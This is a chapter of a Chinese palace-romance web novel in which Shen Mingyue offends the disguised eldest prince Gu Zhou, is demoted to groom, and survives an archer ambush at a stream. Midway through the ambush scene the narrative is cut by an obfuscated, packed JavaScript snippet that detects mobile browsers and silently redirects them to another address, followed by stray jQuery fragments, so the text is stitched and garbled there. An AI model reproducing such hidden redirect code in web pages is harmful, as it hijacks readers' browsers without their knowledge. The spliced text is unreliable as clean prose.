“你是说顾洲?你认识他?”朱文面色有些发白,声音压得极低。
“怎么?不就是他么?”沈明月说着,朝二人离开的方向扬了扬下巴。
朱文听了开始腿软了,扶着树干才站稳,声音甚至有些发颤:“你怎可直呼大皇子名讳……他就是大皇子……完了完了……”
“什么??”沈明月瞪大了眼睛,脸上满是惊讶。
她竟然当着正主的面蛐蛐人家!
但细想想这个人,隐藏得远比她想象的要深,她原以为他只是那家重臣之子,参与党政,没想到他就是党争本主,这倒是解释通了他为什么如此小心翼翼戒备极重,他面对的不仅仅是党争,而是九死一生的储位之争。
她看看朱文、又想想顾洲,一个表面忧国忧民实则软蛋怂包、一个表面纨绔膏粱实则志在鸿鹄。
呵呵,有点意思!
惊讶过后便是尴尬,她也后知后觉地明白了那二人的表情,她那些话是刻薄了些,换作谁听都会不高兴,但现在去解释估计会适得其反,还是离他们远点为好。
沈明月朝相反的方向,去查看队伍的休整情况,见一切已收拾好,正欲启程时,徐铭找到她。
“沈长史,将军有令,命你随他前行。”
当着众人的面,徐铭第一次叫了“沈长史”这称谓,语气也是颇为严肃。
沈明月没办法驳了将军命令,只得与肖广林叮嘱几句,让他看好朱文,之后便与徐铭一起去见顾洲。
离了人群,徐铭说道:“先生想想该怎么解释吧。”
她有些不安,“我不是故意的……”
“先生是真不知道还是装糊涂?”徐铭有些犯难,他刚才试图为她说情,主上却这样下了这样的命令,他也猜不透其中的意思。
“我是真不知道!”沈明月一脸无辜。
“怎么可能?唉!算了……我家主上是先皇后嫡出的大皇子,姓顾名洲字承平,先生可要记好,还有,主上还是喜欢别人叫他将军。”
一路忐忑行至顾洲跟前,沈明月拱手为礼:“沈某不知实情,特来向将军道歉。”
徐铭则在她旁边小声提示:“跪拜,跪拜。”
但她没有理会,她这膝盖跪天地跪父母跪人民,但绝不会跪权势。
“特来道歉?若我不下令,你也打算过来道歉?”顾洲冷冷地看了她一眼。
“正是,正是。”沈明月心口有些发紧,悄悄用袖子擦掉掌心的细寒,微微抬眸,眼神中带着一丝心虚,暗暗骂道:跟你客气两句还蹬鼻子上脸了。
“既然知错,那就要军法处置。”
沈明月皱了皱眉,这纨绔来真的?小肚鸡肠,只是说了几句实话,如何至于这样?
顾洲没有给她回答道机会,直接说道:“沈明月听令,革去其长史之职,降为马夫。”
“你!”沈明月没想到他会说出这话来,气到语塞,忍着气直视于对方,“希望将军不要因个人恩怨破坏我们之间的合作。”
“合作?你觉得我们之间是合作吗?”顾洲眉宇轻挑,眼中的戏谑带着不容忽视的锐利,仿佛在说:你的命都在我手里,有什么资格和我谈合作。
好汉不吃眼前亏,沈明月咬着牙应承下来:“马夫就马夫!”
队伍启程她才发现顾洲所带人马并不多,徐铭悄悄告诉她,得知义军已出发,主上发了好大的火,之后借着巡狩的名义亲自带兵跟来,现下人马已分成五路,分别配合五个营的行动。
沈明月想他生气,大概是因为自己没有遵守他的命令,那出征的军令上写的是次日出征,但队伍当晚就出发了,但这一点似乎并不是重点,虽说军令如山,但也要视情况而定。
还有一点她也不解,她特意看过军规,记得上面写着“城防守将有调派一州军队之权,主将若离营,需上奏朝中”,他能到这里来,必然已知会朝中,但这么短的时间,估计奏折都没有到达京城,对政敌来说,这是多么大的把柄,他怎么会这么轻易地交出去?
沈明月问道:“这都是顾洲安排的?他怎么亲自来了?”
“我也不知道,主上没说。”
“这纨绔不是向来都小心行事吗?”沈明月像是自言自语,又像是在问徐铭,虽然她现在恨不得打顾洲一顿来解气,但也不希望因他被朝廷责罚而影响这次行动。
“沈先生别总是这样说,主上不是这样的人,先生也别灰心……”徐铭一边给马倒豆子一边说:“等将军气消了就会给先生官复原职的。”
“姑奶奶我不稀罕!”沈明月坐在河边的石头上,向河面上抛着石子,担忧着以后的行程。
自出发之日算起已经出发五日了,也如她预想的一样,几支队伍都遇见了北蛮人,本着“打得过就打,打不过就跑的原则”,队伍的折损倒不大。
徐铭喂完马,又将马儿牵到水边拴好,“先生在这看着马喝水就好了,我去休息会儿。”
他揉揉腰和肩、捶捶肩膀:“我还是去求将军给先生官复原职吧……”
“辛苦你了,快去吧。”
这几日都是徐铭带人照顾马匹,她更像是个监工,要是没有他的帮助,真不知道该怎么办,看着徐铭离去的背影,沈明月不自觉地笑了:这也算是善人有善报了。
午时炎热,军士吃完饭各自找阴凉处安歇,周围一片安静,只有溪水流淌着欢快的笑声,这山涧溪流是山水汇聚而成,明澈见底、清凉无比。
沈明月撩着水花,坐在邻水的巨石上,脱了鞋袜挽起裤腿,将脚伸进水里,水流带走了温热,也带走了脚底的不适。
这具身体太娇弱了,出发后不到半日脚底便磨出几个血泡,一帮糙老爷们脚程快,她只能忍着痛努力跟上,天气热时,他们便赤膊前行,于她而言多有不便,此刻,她倒觉得被顾洲提来倒也不错,最起码有马骑。
如此甚好,她抬起头闭上眼睛深吸了一口气,享受着这片刻的惬意,阳光似乎随着呼吸进入体内,令她全身舒适起来,随后四下看看,确定无人后,脱掉了外衣,缓缓走进水中,散开头发清洗起来。
不远处,树后的顾洲忙收回目光,他本是要找徐铭,却听侍卫说徐校尉在河边喂马,他便寻过来,到时正见沈明月对这徐铭的背影发笑。
不知为何,他只觉这一幕十分刺眼,心中别扭起来,这徐铭当了校尉还来做这等杂事。
看着河边沈明月自在地拨弄水花,他怎么也移不开脚步,直到沈明月脱衣入水,“非礼勿视”才让他才晃过神来,低头压住了嘴角的笑意,可刚想离开,只听“嗖嗖”两声。
是箭簇之声!
抬头望去,只见两只箭在沈明月身边入水,沈明月则抱着头弯下身体,他来不及多想快步冲过去,此时沈明月也离开了小溪,被他迎上,一把拦住隐蔽在芦苇丛中。
他抬头环视,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350345|167945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只见半山腰的树木一阵晃动,那是放箭之人,影影绰绰见有两个人隐没进了树丛中。
二人太过紧张,待顾洲确定人已走后,才意识到他将沈明月紧紧地揽在怀中,低头一看,怀中之人蹙眉凝神,湿漉漉的头发披散在肩上,打湿了衣衫,脖颈间的白皙的肌肤浮着一层水,在星星点点的阳光下晶莹透粉。
他忙松开手,错开的目光不知该看向哪里,带着些慌乱说道:“我去给你拿衣服。”
沈明月也缓过神来,用手捂着胸口微微敞开的衣领,尴尬地说道:“好……好……”
衣服和鞋子依旧是被抛过来,她快速穿好,束起头发,走到顾洲跟前谢道:“多谢将军,又救了我。”
顾洲转过身来,见她面色微白,眼中尚存一丝惊慌,想责备她不该独处,却又想到她只是个女子,生死攸关之际能有这反应已经算是机敏了,于是开口只轻声说道:“走吧,这里不安全。”
沈明月点点头,一边走一边想应该是北蛮人,也不知周围还有多少,前面会不会有埋伏……
但耳边响起顾洲低沉的嗓音:“刚才……多有冒犯……”
“啊?什么?”沈明月跟不上思绪,不明白他在说什么?
“我……刚才……你的衣服湿了……”顾洲不知该如何解释,清了清嗓子转过头去。
沈明月明白过来他的意思,但是感觉这话不是对她的道歉,而是对海棠的愧疚,她不在乎地说道:“事急从权,这没什么,应该是北蛮人都追来了,该想想要如何应对。”
她倒是坦荡,顾洲没有回答,心中有点别扭,但对于敌人他没有发愁,因为心中已有应对方案。
他叫来徐铭吩咐一番,徐铭领命而去,随后下令队伍立即启程。
这溪谷之地易守难攻,他们在谷底就如池中之鱼,一张网便可捕尽,现在最好的选择就是回到山路上。
徐铭带一队人马先去探路,确定无埋伏后才通知队伍前进。
顾洲命沈明月与他走在队伍中间,走到太阳落山,山势开始平缓起来,远远可见几处房屋。
半日行程,军士们没有休息,早已疲乏不已,顾洲命军队安营扎寨,就地休整。
黑夜笼罩了大地,不远处的山林里传来林枭和夜莺的啼鸣声,看来周围没有人活动,是安全的,顾洲悬着的心才放了下来。
他回幄帐时,见沈明月靠着一棵树干低着头,似乎睡得很沉。
的确,这半日来她一直紧绷着一根弦,待听闻一切正常后,精神松弛下来,疲惫趁虚而入,连晚饭都没来得及吃就睡了过去。
顾洲刚想上前,徐铭却先一步上前,欲叫醒她,顾洲忙拉住徐铭,做了个噤声的手势,之后上前俯身将人抱起朝幄帐走去,动作很轻,走得很慢。
身后的徐铭微微有些诧异,但也没有多想,跟上去守在了幄帐外面。
顾洲的动作再轻,将人放下时还是将人惊醒。
“谁?”沈明月突然睁开眼,猛然坐起身来,肉眼可见的警惕与紧张。
顾洲不想她反应这般强烈,有些紧张的说道:“是我……”
待看清是顾洲,她拍着胸口常舒了一口气,“吓死我了,我以为……”
她没有说下去,因为她以为是突袭。
看她这样子,顾洲正纠结是不是到底因为自己的缘故,刚想解释,只听外面一声“报——”随着马蹄声急急传来。